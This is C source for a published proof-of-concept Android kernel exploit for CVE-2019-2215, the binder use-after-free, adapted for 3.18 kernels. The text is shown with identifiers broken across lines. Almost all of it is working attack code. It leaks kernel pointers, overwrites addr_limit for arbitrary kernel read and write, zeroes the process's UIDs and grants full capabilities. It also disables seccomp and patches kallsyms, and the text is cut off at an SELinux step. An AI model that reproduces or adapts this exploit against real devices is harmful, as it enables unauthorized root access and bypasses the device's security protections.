2 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
3 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
5 * Jann Horn & Maddie Stone of Google Project Zero
6 * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019)
7 * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98
13 // Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64
14 #define KERNEL_BASE 0xffffffc000080000ul
15 #define OFFSET__thread_info__flags 0x000
16 #define OFFSET__task_struct__stack 0x008
17 #define OFFSET__cred__uid 0x004
18 #define OFFSET__cred__securebits 0x024
19 #define OFFSET__cred__cap_permitted 0x030
20 #define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008)
21 #define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010)
23 #define BINDER_SET_MAX_THREADS 0x40046205ul
28 #define NO_PROC_KALLSYMS
29 #undef KALLSYMS_CACHING
30 #define KSYM_NAME_LEN 128
32 //Not needed, but saved for future use; the offsets are for LGV20 LS998
33 //#define OFFSET__task_struct__seccomp 0x9b0
34 //#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster
35 //#define OFFSET__task_struct__cred 0x550
36 #define OFFSET__cred__security 0x078
37 #define OFFSET__cred__cap_inheritable 0x028
38 #define OFFSET__cred__cap_ambient 0x048
39 //#define OFFSET__task_struct__mm 0x308
52 #include <sys/epoll.h>
53 #include <sys/ioctl.h>
57 #include <linux/sched.h>
59 #include <sys/prctl.h>
60 #include <sys/socket.h>
64 #define DELAY_USEC 500000
66 #define MIN(x, y) ((x) < (y) ? (x) : (y))
67 #define MAX(x, y) ((x) > (y) ? (x) : (y))
69 #define BINDER_THREAD_EXIT 0x40046208ul
70 // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
71 #define BINDER_THREAD_SZ 0x188
72 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
73 #define WAITQUEUE_OFFSET (0x98)
74 #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
75 #define UAF_SPINLOCK 0x10001
77 #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8
81 int have_kallsyms
= 0;
85 unsigned long addresses
;
87 unsigned long num_syms
;
88 unsigned long token_table
;
89 unsigned long markers
;
90 char* token_table_data
;
91 unsigned short token_index_data
[256];
94 void message(char *fmt
, ...)
105 void error(char* fmt
, ...)
109 vfprintf(stderr
, fmt
, ap
);
111 fprintf(stderr
, ": %s\n", errno
? strerror(errno
) : "error");
115 int isKernelPointer(unsigned long p
) {
116 return p
>= KERNEL_BASE
;
119 unsigned long kernel_read_ulong(unsigned long kaddr
);
121 void hexdump_memory(void *_buf
, size_t byte_count
)
123 unsigned char *buf
= _buf
;
124 unsigned long byte_offset_start
= 0;
126 error( "hexdump_memory called with non-full line");
127 for (unsigned long byte_offset
= byte_offset_start
; byte_offset
< byte_offset_start
+ byte_count
;
132 linep
+= sprintf(linep
, "%08lx ", byte_offset
);
133 for (int i
= 0; i
< 16; i
++)
135 linep
+= sprintf(linep
, "%02hhx ", (unsigned char)buf
[byte_offset
+ i
]);
137 linep
+= sprintf(linep
, " |");
138 for (int i
= 0; i
< 16; i
++)
140 char c
= buf
[byte_offset
+ i
];
141 if (isalnum(c
) || ispunct(c
) || c
== ' ')
150 linep
+= sprintf(linep
, "|");
159 unsigned long iovec_size(struct iovec
*iov
, int n
)
161 unsigned long sum
= 0;
162 for (int i
= 0; i
< n
; i
++)
163 sum
+= iov
[i
].iov_len
;
167 unsigned long iovec_max_size(struct iovec
*iov
, int n
)
170 for (int i
= 0; i
< n
; i
++)
172 if (iov
[i
].iov_len
> m
)
178 int clobber_data(unsigned long payloadAddress
, const void *src
, unsigned long payloadLength
)
180 int dummyBufferSize
= MAX(UAF_SPINLOCK
, PAGE
);
181 char *dummyBuffer
= malloc(dummyBufferSize
);
182 if (dummyBuffer
== NULL
)
183 error( "allocating dummyBuffer");
185 memset(dummyBuffer
, 0, dummyBufferSize
);
187 message("PARENT: clobbering at 0x%lx", payloadAddress
);
189 struct epoll_event event
= {.events
= EPOLLIN
};
191 ioctl(binder_fd
, BINDER_SET_MAX_THREADS
, &max_threads
);
192 if (epoll_ctl(epfd
, EPOLL_CTL_ADD
, binder_fd
, &event
))
195 unsigned long testDatum
= 0;
196 unsigned long const testValue
= 0xABCDDEADBEEF1234ul
;
198 struct iovec iovec_array
[IOVEC_ARRAY_SZ
];
199 memset(iovec_array
, 0, sizeof(iovec_array
));
201 const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS
= 3;
203 unsigned long second_write_chunk
[SECOND_WRITE_CHUNK_IOVEC_ITEMS
* 2] = {
204 (unsigned long)dummyBuffer
,
205 /* iov_base (currently in use) */ // wq->task_list->next
206 SECOND_WRITE_CHUNK_IOVEC_ITEMS
* 0x10,
207 /* iov_len (currently in use) */ // wq->task_list->prev
209 payloadAddress
, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
212 (unsigned long)&testDatum
,
216 int delta
= (UAF_SPINLOCK
+ sizeof(second_write_chunk
)) % PAGE
;
217 int paddingSize
= delta
== 0 ? 0 : PAGE
- delta
;
219 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_base
= dummyBuffer
;
220 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_len
= paddingSize
;
221 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_base
= dummyBuffer
;
222 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_len
= 0; // spinlock: will turn to UAF_SPINLOCK
223 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_base
= second_write_chunk
; // wq->task_list->next: will turn to payloadAddress of task_list
224 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_len
= sizeof(second_write_chunk
); // wq->task_list->prev: will turn to payloadAddress of task_list
225 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_base
= dummyBuffer
; // stuff from this point will be overwritten and/or ignored
226 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_len
= UAF_SPINLOCK
;
227 iovec_array
[IOVEC_INDX_FOR_WQ
+ 3].iov_base
= dummyBuffer
;
228 iovec_array
[IOVEC_INDX_FOR_WQ
+ 3].iov_len
= payloadLength
;
229 iovec_array
[IOVEC_INDX_FOR_WQ
+ 4].iov_base
= dummyBuffer
;
230 iovec_array
[IOVEC_INDX_FOR_WQ
+ 4].iov_len
= sizeof(testDatum
);
231 int totalLength
= iovec_size(iovec_array
, IOVEC_ARRAY_SZ
);
235 if ((fcntl(pipes
[0], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
237 if ((fcntl(pipes
[1], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
240 pid_t fork_ret
= fork();
246 prctl(PR_SET_PDEATHSIG
, SIGKILL
);
248 message("CHILD: Doing EPOLL_CTL_DEL.");
249 epoll_ctl(epfd
, EPOLL_CTL_DEL
, binder_fd
, &event
);
250 message("CHILD: Finished EPOLL_CTL_DEL.");
252 char *f
= malloc(totalLength
);
254 error( "Allocating memory");
255 memset(f
, 0, paddingSize
+ UAF_SPINLOCK
);
256 unsigned long pos
= paddingSize
+ UAF_SPINLOCK
;
257 memcpy(f
+ pos
, second_write_chunk
, sizeof(second_write_chunk
));
258 pos
+= sizeof(second_write_chunk
);
259 memcpy(f
+ pos
, src
, payloadLength
);
260 pos
+= payloadLength
;
261 memcpy(f
+ pos
, &testValue
, sizeof(testDatum
));
262 pos
+= sizeof(testDatum
);
263 write(pipes
[1], f
, pos
);
264 message("CHILD: wrote %lu", pos
);
270 ioctl(binder_fd
, BINDER_THREAD_EXIT
, NULL
);
271 int b
= readv(pipes
[0], iovec_array
, IOVEC_ARRAY_SZ
);
273 message("PARENT: readv returns %d, expected %d", b
, totalLength
);
275 if (testDatum
!= testValue
)
276 message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum
, testValue
);
278 message("PARENT: clobbering test passed");
284 return testDatum
== testValue
;
287 int leak_data(void *leakBuffer
, int leakAmount
,
288 unsigned long extraLeakAddress
, void *extraLeakBuffer
, int extraLeakAmount
,
289 unsigned long *task_struct_ptr_p
, unsigned long *kstack_p
)
291 unsigned long const minimumLeak
= TASK_STRUCT_OFFSET_FROM_TASK_LIST
+ 8;
292 unsigned long adjLeakAmount
= MAX(leakAmount
, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough
296 struct epoll_event event
= {.events
= EPOLLIN
};
298 ioctl(binder_fd
, BINDER_SET_MAX_THREADS
, &max_threads
);
299 if (epoll_ctl(epfd
, EPOLL_CTL_ADD
, binder_fd
, &event
))
302 struct iovec iovec_array
[IOVEC_ARRAY_SZ
];
304 memset(iovec_array
, 0, sizeof(iovec_array
));
306 int delta
= (UAF_SPINLOCK
+ minimumLeak
) % PAGE
;
307 int paddingSize
= (delta
== 0 ? 0 : PAGE
- delta
) + PAGE
;
309 iovec_array
[IOVEC_INDX_FOR_WQ
- 2].iov_base
= (unsigned long *)0xDEADBEEF;
310 iovec_array
[IOVEC_INDX_FOR_WQ
- 2].iov_len
= PAGE
;
311 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_base
= (unsigned long *)0xDEADBEEF;
312 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_len
= paddingSize
- PAGE
;
313 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_base
= (unsigned long *)0xDEADBEEF;
314 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_len
= 0; /* spinlock: will turn to UAF_SPINLOCK */
315 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_base
= (unsigned long *)0xDEADBEEF; /* wq->task_list->next */
316 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_len
= adjLeakAmount
; /* wq->task_list->prev */
317 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_base
= (unsigned long *)0xDEADBEEF; // we shouldn't get to here
318 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_len
= extraLeakAmount
+ UAF_SPINLOCK
+ 8;
319 unsigned long totalLength
= iovec_size(iovec_array
, IOVEC_ARRAY_SZ
);
320 unsigned long maxLength
= iovec_size(iovec_array
, IOVEC_ARRAY_SZ
);
321 unsigned char *dataBuffer
= malloc(maxLength
);
323 if (dataBuffer
== NULL
)
324 error( "Allocating %ld bytes", maxLength
);
326 for (int i
= 0; i
< IOVEC_ARRAY_SZ
; i
++)
327 if (iovec_array
[i
].iov_base
== (unsigned long *)0xDEADBEEF)
328 iovec_array
[i
].iov_base
= dataBuffer
;
337 if ((fcntl(pipefd
[0], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
339 if ((fcntl(pipefd
[1], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
342 pid_t fork_ret
= fork();
348 char childSuccess
= 1;
350 prctl(PR_SET_PDEATHSIG
, SIGKILL
);
352 message("CHILD: Doing EPOLL_CTL_DEL.");
353 epoll_ctl(epfd
, EPOLL_CTL_DEL
, binder_fd
, &event
);
354 message("CHILD: Finished EPOLL_CTL_DEL.");
356 unsigned long size1
= paddingSize
+ UAF_SPINLOCK
+ minimumLeak
;
357 message("CHILD: initial portion length 0x%lx", size1
);
359 memset(buffer
, 0, size1
);
360 if (read(pipefd
[0], buffer
, size1
) != size1
)
361 error( "reading first part of pipe");
363 memcpy(dataBuffer
, buffer
+ size1
- minimumLeak
, minimumLeak
);
366 if (memcmp(dataBuffer
, dataBuffer
+ 8, 8))
368 unsigned long addr
= 0;
369 memcpy(&addr
, dataBuffer
, 8);
371 if (!isKernelPointer(addr
)) {
376 unsigned long task_struct_ptr
= 0;
378 memcpy(&task_struct_ptr
, dataBuffer
+ TASK_STRUCT_OFFSET_FROM_TASK_LIST
, 8);
379 message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr
);
381 if (!badPointer
&& (extraLeakAmount
> 0 || kstack_p
!= NULL
))
383 unsigned long extra
[6] = {
390 message("CHILD: clobbering with extra leak structures");
391 if (clobber_data(addr
, &extra
, sizeof(extra
)))
392 message("CHILD: clobbered");
394 message("CHILD: **fail** iovec clobbering didn't work");
400 if (read(pipefd
[0], dataBuffer
+ minimumLeak
, adjLeakAmount
- minimumLeak
) != adjLeakAmount
- minimumLeak
)
403 write(leakPipe
[1], dataBuffer
, adjLeakAmount
);
405 if (extraLeakAmount
> 0)
407 message("CHILD: extra leak");
408 if (read(pipefd
[0], extraLeakBuffer
, extraLeakAmount
) != extraLeakAmount
) {
410 error( "extra leaking");
412 write(leakPipe
[1], extraLeakBuffer
, extraLeakAmount
);
413 //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16);
415 if (kstack_p
!= NULL
)
417 if (read(pipefd
[0], dataBuffer
, 8) != 8) {
419 error( "leaking kstack");
421 message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer
);
422 write(leakPipe
[1], dataBuffer
, 8);
424 write(leakPipe
[1], &childSuccess
, 1);
430 message("CHILD: Finished write to FIFO.");
434 message("CHILD: **fail** problematic address pointer, e.g., %lx", addr
);
438 message("PARENT: soon will be calling WRITEV");
440 ioctl(binder_fd
, BINDER_THREAD_EXIT
, NULL
);
441 b
= writev(pipefd
[1], iovec_array
, IOVEC_ARRAY_SZ
);
442 message("PARENT: writev() returns 0x%x", (unsigned int)b
);
443 if (b
!= totalLength
) {
444 message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength
);
449 message("PARENT: Reading leaked data");
451 b
= read(leakPipe
[0], dataBuffer
, adjLeakAmount
);
452 if (b
!= adjLeakAmount
) {
453 message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b
, adjLeakAmount
);
459 memcpy(leakBuffer
, dataBuffer
, leakAmount
);
461 if (extraLeakAmount
!= 0)
463 message("PARENT: Reading extra leaked data");
464 b
= read(leakPipe
[0], extraLeakBuffer
, extraLeakAmount
);
465 if (b
!= extraLeakAmount
) {
466 message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b
, extraLeakAmount
);
472 if (kstack_p
!= NULL
)
474 if (read(leakPipe
[0], kstack_p
, 8) != 8) {
475 message( "PARENT: **fail** reading leaked kstack");
481 char childSucceeded
=0;
483 read(leakPipe
[0], &childSucceeded
, 1);
488 if (task_struct_ptr_p
!= NULL
)
489 memcpy(task_struct_ptr_p
, dataBuffer
+ TASK_STRUCT_OFFSET_FROM_TASK_LIST
, 8);
499 //if (wait(&status) != fork_ret) error( "wait");
504 message("PARENT: leaking successful");
509 int kernel_rw_pipe
[2];
511 struct kernel_buffer
{
512 unsigned char pageBuffer
[PAGE
];
513 unsigned long pageBufferOffset
;
514 } kernel_buffer
= { .pageBufferOffset
= 0 };
516 void reset_kernel_pipes()
518 kernel_buffer
.pageBufferOffset
= 0;
519 close(kernel_rw_pipe
[0]);
520 close(kernel_rw_pipe
[1]);
521 if (pipe(kernel_rw_pipe
))
522 error( "kernel_rw_pipe");
525 int raw_kernel_write(unsigned long kaddr
, void *buf
, unsigned long len
)
528 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len
);
529 if (write(kernel_rw_pipe
[1], buf
, len
) != len
||
530 read(kernel_rw_pipe
[0], (void *)kaddr
, len
) != len
)
532 reset_kernel_pipes();
538 void kernel_write(unsigned long kaddr
, void *buf
, unsigned long len
)
540 if (len
!= raw_kernel_write(kaddr
, buf
, len
))
541 error( "error with kernel writing");
544 int raw_kernel_read(unsigned long kaddr
, void *buf
, unsigned long len
)
547 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len
);
548 if (write(kernel_rw_pipe
[1], (void *)kaddr
, len
) != len
|| read(kernel_rw_pipe
[0], buf
, len
) != len
)
550 reset_kernel_pipes();
556 void kernel_read(unsigned long kaddr
, void *buf
, unsigned long len
)
559 error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len
);
560 if (len
!= raw_kernel_read(kaddr
, buf
, len
))
561 error( "error with kernel reading");
564 unsigned char kernel_read_uchar(unsigned long offset
) {
565 if (kernel_buffer
.pageBufferOffset
== 0 || offset
< kernel_buffer
.pageBufferOffset
|| kernel_buffer
.pageBufferOffset
+PAGE
<= offset
) {
566 kernel_buffer
.pageBufferOffset
= offset
& ~(PAGE
-1);
567 kernel_read(kernel_buffer
.pageBufferOffset
, kernel_buffer
.pageBuffer
, PAGE
);
569 return kernel_buffer
.pageBuffer
[offset
-kernel_buffer
.pageBufferOffset
];
572 unsigned long kernel_read_ulong(unsigned long kaddr
)
575 kernel_read(kaddr
, &data
, sizeof(data
));
578 unsigned long kernel_read_uint(unsigned long kaddr
)
581 kernel_read(kaddr
, &data
, sizeof(data
));
584 void kernel_write_ulong(unsigned long kaddr
, unsigned long data
)
586 kernel_write(kaddr
, &data
, sizeof(data
));
588 void kernel_write_uint(unsigned long kaddr
, unsigned int data
)
590 kernel_write(kaddr
, &data
, sizeof(data
));
592 void kernel_write_uchar(unsigned long kaddr
, unsigned char data
)
594 kernel_write(kaddr
, &data
, sizeof(data
));
598 // Make the kallsyms module not check for permission to list symbol addresses
599 int fixKallsymsFormatStrings(unsigned long start
)
605 start
&= ~(PAGE
- 1);
607 unsigned long searchTarget
;
609 memcpy(&searchTarget
, "%pK %c %", 8);
614 unsigned long forwardAddress
= start
;
615 unsigned long backwardAddress
= start
- PAGE
;
616 unsigned long page
[PAGE
/ 8];
618 message("MAIN: searching for kallsyms format strings");
620 while ((backwards
|| forwards
) && found
< 2)
622 unsigned long address
= direction
> 0 ? forwardAddress
: backwardAddress
;
624 if (address
< 0xffffffc000000000ul
|| address
>= 0xffffffd000000000ul
|| raw_kernel_read(address
, page
, PAGE
) != PAGE
)
633 for (int i
= 0; i
< PAGE
/ 8; i
++)
634 if (page
[i
] == searchTarget
)
636 unsigned long a
= address
+ 8 * i
;
640 kernel_read(a
, fmt
, 16);
642 if (!strcmp(fmt
, "%pK %c %s\t[%s]\x0A"))
645 kernel_write(a
, "%p %c %s\t[%s]\x0A", 15);
646 message("MAIN: patching longer version at %lx", a
);
648 else if (!strcmp(fmt
, "%pK %c %s\x0A"))
651 kernel_write(a
, "%p %c %s\x0A", 10);
652 message("MAIN: patching shorter version at %lx", a
);
661 forwardAddress
+= PAGE
;
663 backwardAddress
-= PAGE
;
665 direction
= -direction
;
667 if (direction
< 0 && !backwards
)
671 else if (direction
> 0 && !forwards
)
680 int verifyCred(unsigned long cred_ptr
) {
682 if (cred_ptr
< 0xffffff0000000000ul
|| 4 != raw_kernel_read(cred_ptr
+OFFSET__cred__uid
, &uid
, 4))
684 return uid
== getuid();
687 int getCredOffset(unsigned char* task_struct_data
, char* execName
) {
689 char* p
= strrchr(execName
, '/');
694 unsigned n
= MIN(strlen(p
)+1, 16);
695 memcpy(taskname
, p
, n
);
698 for (int i
=OFFSET__task_struct__stack
+8; i
<PAGE
-16; i
+=8) {
699 if (0 == memcmp(task_struct_data
+i
, taskname
, n
) && verifyCred(*(unsigned long*)(task_struct_data
+i
-8)))
704 error("Cannot find cred structure");
708 int getSeccompOffset(unsigned char* task_struct_data
, unsigned credOffset
, unsigned seccompStatus
) {
709 if (seccompStatus
!= 2)
712 unsigned long firstGuess
= -1;
714 for (int i
=credOffset
&~7; i
<PAGE
-24; i
+=8) {
716 unsigned long seccomp_status
;
717 unsigned long seccomp_filter
;
718 unsigned int parent_exe
;
719 unsigned int child_exe
;
720 } *p
= (void*)(task_struct_data
+i
);
722 if (p
->seccomp_status
== seccompStatus
&& isKernelPointer(p
->seccomp_filter
)) {
723 if (p
->child_exe
== p
->parent_exe
+ 1) {
736 unsigned long countIncreasingEntries(unsigned long start
) {
737 unsigned long count
= 1;
738 unsigned long prev
= kernel_read_ulong(start
);
741 unsigned long v
= kernel_read_ulong(start
);
748 int find_kallsyms_addresses(unsigned long searchStart
, unsigned long searchEnd
, unsigned long* startP
, unsigned long* countP
) {
749 if (searchStart
== 0)
750 searchStart
= KERNEL_BASE
;
752 searchEnd
= searchStart
+ 0x4000000;
753 unsigned long foundStart
= 0;
755 unsigned char page
[PAGE
];
756 for (unsigned long i
=searchStart
; i
<searchEnd
; i
+=PAGE
) {
757 kernel_read(i
, page
, PAGE
);
758 for (int j
=0; j
<PAGE
; j
+=0x100) {
759 if (*(unsigned long*)(page
+j
)==KERNEL_BASE
) {
760 unsigned long count
= countIncreasingEntries(i
+j
);
772 int get_kallsym_name(unsigned long offset
, char* name
) {
773 unsigned char length
= kernel_read_uchar(offset
++);
775 for (unsigned char i
= 0; i
< length
; i
++) {
776 int index
= kallsyms
.token_index_data
[kernel_read_uchar(offset
++)];
777 int n
= strlen(kallsyms
.token_table_data
+index
);
778 memcpy(name
, kallsyms
.token_table_data
+index
, n
);
790 if (!find_kallsyms_addresses(0, 0, &kallsyms
.addresses
, &kallsyms
.num_syms
))
793 message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms
.addresses
, kallsyms
.num_syms
);
794 unsigned long offset
= kallsyms
.addresses
+ 8 * kallsyms
.num_syms
;
796 message("MAIN: kallsyms names end at 0x%lx", offset
);
797 struct kernel_buffer buf
= {.pageBufferOffset
= 0};
799 offset
= (offset
+ 0xFFul
) & ~0xFFul
;
801 unsigned long count
= kernel_read_ulong(offset
);
804 if (count
!= kallsyms
.num_syms
) {
805 message("MAIN: **fail** kallsym entry count mismatch %ld", count
);
808 offset
= (offset
+ 0xFFul
) & ~0xFFul
;
810 kallsyms
.names
= offset
;
812 for (unsigned long i
= 0 ; i
< kallsyms
.num_syms
; i
++) {
813 unsigned char len
= kernel_read_uchar(offset
++);
817 offset
= (offset
+ 0xFF) & ~0xFFul
;
819 kallsyms
.markers
= offset
;
821 offset
+= 8 * ((kallsyms
.num_syms
+ 255ul) / 256ul);
823 offset
= (offset
+ 0xFF) & ~0xFFul
;
825 kallsyms
.token_table
= offset
;
829 while (tokens
< 256) {
830 if (kernel_read_uchar(offset
++) == 0)
834 unsigned long token_table_length
= offset
- kallsyms
.token_table
;
836 kallsyms
.token_table_data
= malloc(token_table_length
);
839 if (kallsyms
.token_table_data
== NULL
)
840 error("allocating token table");
842 for (unsigned long i
= 0 ; i
< token_table_length
; i
++)
843 kallsyms
.token_table_data
[i
] = kernel_read_uchar(kallsyms
.token_table
+ i
);
845 offset
= (offset
+ 0xFF) & ~0xFFul
;
847 kernel_read(offset
, kallsyms
.token_index_data
, sizeof(kallsyms
.token_index_data
));
854 unsigned long findSymbol_memory_search(char* symbol
) {
855 message("MAIN: searching for kallsyms table");
856 if (! loadKallsyms()) {
857 message("MAIN: **fail** cannot find kallsyms table");
860 unsigned long offset
= kallsyms
.names
;
861 char name
[KSYM_NAME_LEN
];
863 for(unsigned long i
= 0; i
< kallsyms
.num_syms
; i
++) {
864 unsigned int n
= get_kallsym_name(offset
, name
);
865 if (!strcmp(name
+1, symbol
)) {
866 message( "found symbol in kernel memory", symbol
);
868 return kernel_read_ulong(kallsyms
.addresses
+ i
*8);
876 char* allocateSymbolCachePathName(char* execName
, char* symbol
) {
877 char* p
= strrchr(execName
, '/');
884 char* pathname
= malloc(strlen(symbol
)+7+1+n
);
885 if (pathname
== NULL
) {
887 error("allocating memory for pathname");
889 strncpy(pathname
, execName
, n
);
891 strcat(pathname
, symbol
);
892 strcat(pathname
, ".symbol");
897 unsigned long findSymbol_in_cache(char* execName
, char* symbol
) {
898 char* pathname
= allocateSymbolCachePathName(execName
, symbol
);
899 unsigned long address
= 0;
901 FILE *cached
= fopen(pathname
, "r");
902 if (cached
!= NULL
) {
903 fscanf(cached
, "%lx", &address
);
912 void cacheSymbol(char* execName
, char* symbol
, unsigned long address
) {
913 #ifdef KALLSYMS_CACHING
914 if (address
!= 0 && address
!= findSymbol_in_cache(execName
, symbol
)) {
915 char* pathname
= allocateSymbolCachePathName(execName
, symbol
);
916 FILE *cached
= fopen(pathname
, "w");
917 if (cached
!= NULL
) {
918 fprintf(cached
, "%lx\n", address
);
920 char* cmd
= alloca(10+strlen(pathname
)+1);
921 sprintf(cmd
, "chmod 666 %s", pathname
);
923 message("cached %s", pathname
);
930 unsigned long findSymbol(char* execName
, unsigned long pointInKernelMemory
, char *symbol
)
932 unsigned long address
= 0;
934 #ifdef KALLSYMS_CACHING
935 address
= findSymbol_in_cache(execName
, symbol
);
940 #ifdef NO_PROC_KALLSYMS
941 address
= findSymbol_memory_search(symbol
);
947 FILE *ks
= fopen("/proc/kallsyms", "r");
949 return findSymbol_memory_search(symbol
);
951 fgets(buf
, 1024, ks
);
955 if ( (buf
[0] == 0 || strncmp(buf
, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory
) == 0)
957 message( "MAIN: **partial failure** cannnot fix kallsyms format string");
958 address
= findSymbol_memory_search(symbol
);
961 ks
= fopen("/proc/kallsyms", "r");
962 while (NULL
!= fgets(buf
, sizeof(buf
), ks
))
967 sscanf(buf
, "%lx %c %s", &a
, &type
, sym
);
968 if (!strcmp(sym
, symbol
)) {
969 message( "found %s in /proc/kallsyms", sym
);
982 void checkKernelVersion() {
984 FILE *k
= fopen("/proc/version", "r");
987 fgets(buf
, sizeof(buf
), k
);
988 if (NULL
!= strstr(buf
, "Linux version 4"))
991 if (kernel3
) message("MAIN: detected kernel version 3");
992 else message("MAIN: detected kernel version other than 3");
995 int main(int argc
, char **argv
)
1001 if (0 == strcmp(argv
[1], "-quiet")) {
1003 for (int i
=1; i
<argc
-1; i
++)
1004 argv
[i
] = argv
[i
+1];
1009 checkKernelVersion();
1011 message("MAIN: starting exploit for devices with waitqueue at 0x98");
1013 if (pipe(kernel_rw_pipe
))
1014 error( "kernel_rw_pipe");
1016 binder_fd
= open("/dev/binder", O_RDONLY
);
1017 epfd
= epoll_create(1000);
1019 unsigned long kstack
= 0xDEADBEEFDEADBEEFul
;
1020 unsigned long task_struct_ptr
= 0xDEADBEEFDEADBEEFul
;
1022 while (try < RETRIES
&& !leak_data(NULL
, 0, 0, NULL
, 0, &task_struct_ptr
, &kstack
)) {
1023 message("MAIN: **fail** retrying");
1026 if (try == RETRIES
) {
1027 error("Failed to leak data");
1030 message("MAIN: took %d tries but did it", try);
1033 unsigned long thread_info_ptr
= kernel3
? kstack
: task_struct_ptr
;
1035 message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr
);
1037 message("MAIN: stack = %lx", kstack
);
1038 message("MAIN: Clobbering addr_limit");
1039 unsigned long const src
= 0xFFFFFFFFFFFFFFFEul
;
1042 while(try < RETRIES
&& !clobber_data(thread_info_ptr
+ 8, &src
, 8)) {
1043 message("MAIN: **fail** retrying");
1046 if (try == RETRIES
) {
1047 error("Failed to clobber addr_limit");
1050 message("MAIN: took %d tries but did it", try);
1053 message("MAIN: thread_info = 0x%lx", thread_info_ptr
);
1055 setbuf(stdout
, NULL
);
1056 message("MAIN: should have stable kernel R/W now");
1058 message("MAIN: searching for cred offset in task_struct");
1059 unsigned char task_struct_data
[PAGE
+16];
1060 kernel_read(task_struct_ptr
, task_struct_data
, PAGE
);
1062 unsigned long offset_task_struct__cred
= getCredOffset(task_struct_data
, argv
[0]);
1064 unsigned long cred_ptr
= kernel_read_ulong(task_struct_ptr
+ offset_task_struct__cred
);
1066 #ifdef OFFSET__cred__user_ns
1067 unsigned long search_base
= kernel_read_ulong(cred_ptr
+ OFFSET__cred__user_ns
);
1068 if (search_base
< 0xffffffc000000000ul
|| search_base
>= 0xffffffd000000000ul
)
1069 search_base
= 0xffffffc001744b70ul
;
1071 #define search_base 0xffffffc000000000ul
1074 message("MAIN: search_base = %lx", search_base
);
1076 message("MAIN: searching for selinux_enforcing");
1077 unsigned long selinux_enforcing
= findSymbol(argv
[0], search_base
, "selinux_enforcing");
1078 // unsigned long selinux_enabled = findSymbol(argv[0], search_base, "selinux_enabled");
1080 message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred
);
1082 for (int i
= 0; i
< 8; i
++)
1083 kernel_write_uint(cred_ptr
+ OFFSET__cred__uid
+ i
* 4, 0);
1086 error( "changing UIDs to 0");
1088 message("MAIN: UID = 0");
1090 message("MAIN: enabling capabilities");
1093 kernel_write_uint(cred_ptr
+ OFFSET__cred__securebits
, 0);
1095 kernel_write_ulong(cred_ptr
+OFFSET__cred__cap_inheritable
, 0x3fffffffffUL
);
1096 kernel_write_ulong(cred_ptr
+ OFFSET__cred__cap_permitted
, 0x3fffffffffUL
);
1097 kernel_write_ulong(cred_ptr
+ OFFSET__cred__cap_effective
, 0x3fffffffffUL
);
1098 kernel_write_ulong(cred_ptr
+ OFFSET__cred__cap_bset
, 0x3fffffffffUL
);
1099 kernel_write_ulong(cred_ptr
+OFFSET__cred__cap_ambient
, 0x3fffffffffUL
);
1101 int seccompStatus
= prctl(PR_GET_SECCOMP
);
1102 message("MAIN: SECCOMP status %d", seccompStatus
);
1105 message("MAIN: disabling SECCOMP");
1106 kernel_write_ulong(thread_info_ptr
+ OFFSET__thread_info__flags
, 0);
1107 // TODO: search for seccomp offset
1108 int offset__task_struct__seccomp
= getSeccompOffset(task_struct_data
, offset_task_struct__cred
, seccompStatus
);
1109 if (offset__task_struct__seccomp
< 0)
1110 message("MAIN: **FAIL** cannot find seccomp offset");
1112 message("MAIN: seccomp offset %lx", offset__task_struct__seccomp
);
1113 kernel_write_ulong(task_struct_ptr
+ offset__task_struct__seccomp
, 0);
1114 kernel_write_ulong(task_struct_ptr
+ offset__task_struct__seccomp
+ 8, 0);
1115 message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP
));
1119 if (selinux_enforcing
== 0)
